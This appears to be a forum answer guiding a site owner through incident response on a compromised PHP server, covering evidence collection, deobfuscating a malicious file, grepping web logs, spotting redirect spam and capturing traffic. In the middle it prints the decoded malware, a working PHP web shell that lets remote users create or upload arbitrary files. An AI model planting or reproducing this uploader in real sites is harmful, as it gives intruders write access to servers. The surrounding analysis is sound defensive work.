First things first
If you suspect your server has been compromised, you should be implementing an Incident Response plan. There are lots of resources out there for putting a plan together, including a recently released "Criminal Division Guidance on Best Practices for Victim Response and Reporting Cyber Incidents" from the US Justice Department.
Before you start analyzing your possible rogue file, start preserving information
You are going to want a clean copy of data that you can analyze to determine exactly what happened. If possible, this would include memory and hard disk images. If you don't have the ability to do that, at the very least:
- run basic diagnostic commands like
ps aux
netstat naolp
lsof
and ls -alR
(all as sudo). You don't have to analyze all of it now, just dump it all into a text file and copy it to another computer.
- Copy off any directory you think could have been affected as you'll want to look for additional rogue files and modifications.
- Grab all the log files you can, all of
/var/log
and apache or nginx logs, and user ~/.bash_history
- Run a find search for all recently modified files, and copy them all off.
There are lots of resources for how you should respond to such a situation, but I figured I'd just give you what I would collect if I didn't have a IR Plan in place and had to act in the moment. I should also note that beacause of the possability of rootkits, these user-level tools may not give you accurate information, but if you can't grab a hard disk and memory image, it can be a place to start.
Analyzing the PHP File
As mentioned above, the file you posted has significant tells that it is malicious. I would consider the fact that it has a GIF header, but contains PHP code to be the biggest flag. Once you see that, you should start treating your server as compromised. Note: we don't yet know from the existence of the file alone how much access the attacker may have had.
But what does it do?
In order to see what the file does, I replaced every instance of eval
with echo
and ran the file. Before running the file, you should read the code to make sure you understand what it does. I ran it in a VM just to be sure, but since were just echoing strings, there isn't much to worry about (unless there is some php echo 0-day I'm unaware of). After running the modified code, we get the following output:
<?php
$content = stripslashes($_POST['content']); $cfile = $_POST['cfile']; $ufile = $_POST['ufile'];
echo '<b><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="aw" id="aw">';
echo '<textarea name=content style="width:585px;height:200px">'.$content.'</textarea><br>';
echo '<input type="text" name="cfile" size="10" value="newfile.php">';
echo '<input name="_create" type="submit" id="_upl" value="Create">';
echo '<input type="file" name="file" size="30"><input type="text" name="ufile" size="10" value="newfile.php">';
echo '<input name="_upload" type="submit" id="_upl" value="Upload"></form>';
if($_POST['_create']){
$handle = fopen($cfile, 'w');
if($handle){
if (fwrite($handle, $content) === FALSE) { echo "<b>Create $cfile GAGAL</b><br>"; }
else { echo "<b>Create $cfile SUKSES !!!</b><br>"; } fclose($handle);
} else { echo '<b>Create File GAGAL</b><br><br>'; }
}
if($_POST['_upload']){
if(@copy($_FILES['file']['tmp_name'], $ufile)) { echo "<b>Upload $ufile SUKSES !!!</b><br><br>"; }
else { echo "<b>Upload $ufile GAGAL !!!</b><br><br>"; }
}
Quickly glancing through the code, it looks like this file is used to upload other files. It appears to be common, searching google for "Create File GAGAL" has over 100 results
Some additional tips include:
- Websites like UnPHP and DDecode can help analyze obfuscated scripts.
- The Reverse Engineering stack exchange has a question about setting up a secure environment to analyze the script.
- The best way to start is by grabbing unique strings from the text and searching for them on Google. Often, you will find other researchers have done the work for you.
What to look for next
Because someone added a file that allows them to upload or create files, you want to see if anyone used it. This is when your web server logs will come in handy. Using a tool like grep can easily determine who accessed the file and could provide additional indicators to search for. For example, you can use grep
to look for quarantine_wp_protect.php
:
$ grep quarantine_wp_protect.php *
123.123.123.123 - - [11/Jan/2015:07:07:43 -0500] "GET /quarantine_wp_protect.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36"
124.124.124.124 - - [11/Jan/2015:07:13:20 -0500] "GET /quarantine_wp_protect.php HTTP/1.1" 200 133 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.66 Safari/537.36"
This would indicate that the IPs 123.123.123.123 and 124.124.124.124 hit that file. You would then want to run grep scans based on that IP to see what else those IPs might have done.
There are some things to keep in mind when looking at your logs. For instance, the User Agent String (the last "" section in the example above), is client supplied and should really be considered arbitrary. Sometimes you will see useragent strings like "Googlebot" or "Yahoo", but these may not actually be google and yahoo. A good way to tell is to lookup who is registered to that IP address. For example you can use WolframAlpha to search 188.165.15.160. Wolfram reports that this IP belongs to OVH SAS
in Paris, France. When you search for a legitimate google IP, Wolfram reports "Googlebot".
The log line in the comment below is:
188.165.15.160 - - [07/May/2015:19:41:20 -0700] "GET /wp-content/plugins/_notes/index.php?url=/Nike-Free-Run-Pas-Cher/Chaussure-de-course-U-1278-Nike-Free-30-V3-Femmes-Anthracite-1681.html HTTP/1.1" 503 1168 "-" "Mozilla/5.0 (compatible; AhrefsBot/5.0; +ahrefs.com/robot/)
Note that the return code is 503
. This suggests that the server didn't process the request (This is not a guarantee, however, as PHP has the ability to set arbitrary return codes). What this likely means, is that after your system was compromised, it was being used to serve redirect spam. Not to get too into the weeds, but many spam systems keep track of the reputation of URLs. So an attacker can't spam people with "my-scam-nike-store.com", because of its low reputation, instead, it will compromise your website, with a good or unknown reputation, send the spam as long as it can, and move on to another victim. Your system would be used to redirect (HTTP status codes in the 300-400 range) users to the scam site.
But how did it get there?
It is most likely that you have a vulnerable wordpress plugin or some other php file being used to upload files. You will want to figure out which file is being used so you can either remove it or fix it. Hopefully, the same IP that accessed quarantine_wp_protect.php
is the IP that was responsible for placing the file. If that is the case, then the IP greps mentioned above should show some activity with the vulnerable file. If no other files are shown, you can also try comparing the timestamp of the file to what was happening in the web logs at that time. (Note: as mentioned previously, that timestamp may have been changed by an attacker)
I removed the file, am I done?
No, if you can't determine the root cause, you likely won't be able to fix the problem that let the intruders in in the first place. The best course of action is to fix the vulnerable file and then redeploy (either to a new webserver or wipe the old one and resetup). The reason for this is that there are lots of ways intruders can bury themselves in your application once they have access. They can use cronjobs, startup services, or backdoor your own php files. You can go through the motions of looking for all of these things and hoping you thought of every trick they may have thought of, or you can just redeploy.
If you can't redeploy, one thing you will to do is set up a packet capture. You can use a program like tcpdump
to log all HTTP traffic at the network level. This will let you see exactly what requests are coming in and what response is being sent. If the intruder is particularly clever, this could be one of the only ways of verifying that the correct data is being delivered.
nohup sudo -b tcpdump -ni eth0 -s65535 -G 3600 -w 'trace_%Y-%m-%d_%H:%M:%S.pcap' port 80
I would recommend doing this for a day or two atleast. Be careful where you save the recordings though, as it will capture things like your wordpress username and password if you haven't set up HTTPS.
Additionally, there are many steps that may need to be taken depending on your application or business. Was customer data stolen? Did passwords get compromised? Logging can help answer many of these questions. Do database passwords or application secrets need to be changed? In most cases, you'll want to err on the side of caution and just change them.